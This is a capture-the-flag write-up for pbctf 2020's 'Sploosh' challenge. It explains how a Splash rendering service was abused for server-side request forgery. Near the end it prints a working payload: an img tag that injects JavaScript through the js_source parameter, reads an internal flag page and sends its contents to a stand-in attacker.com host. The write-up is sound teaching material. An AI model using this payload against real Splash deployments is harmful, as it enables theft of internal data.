[pbctf 2020] Sploosh

This post originally appeared on the flagbot site, feel free to read it there. It is presented here as a form of archival and to collect all my posts in one place.

I wanted to make my own URL scraper, but parsing HTML is hard, so I used some random open source scraping project instead.
http://sploosh.chal.perfect.blue/ - links to the source

When first opening the webpage, we’re also given the source. Looking at that, we find that the urls are submitted to a splash service, and we’re then just shown the (seemingly useless and constant) geometry information. Our target is to access flag.php from either the frontend or the splash service. So clearly, we can point the splash at our own webpage and start executing javascript there, achieving potentially a form of SSRF, since this is running on the splash machine.

Now the question becomes how we can properly circumvent the same-origin policy, so that we can read the flag and exfiltrate it to our server. When in doubt, RTFM. Rather than directly executing javascript on our page, we use our page as a way to trigger a new request to splash, and inject javascript in the target page through the js_source parameter. From there we can make an ajax request with the content of the page (which would obviously be the flag page) to our exfiltration listener. SOP still applies here, but because CORS exists, and browsers need to check it, we can still see the URL show up in our access logs. For the ajax request, we went with synchronous XHR, because it seemed that splash might terminate before the async requests made with fetch would be properly executed. The js_source also seemed to terminate at the first semicolon, so we instead join different statements/expressions together by embedding them in the same variable declaration statement.

The content of our attacker page we point the initial splash request to:

<img src="http://splash:8050/render.json?url=http%3A//172.16.0.14/flag.php&js_source=x=new%20XMLHttpRequest(),y=x.open('GET','https%3A//attacker.com/'%2Bdocument.body.innerHTML,false),z=x.send(null)">

Flag: pbctf{1_h0p3_y0u_us3d_lua_f0r_th1s} Nope, not at all :)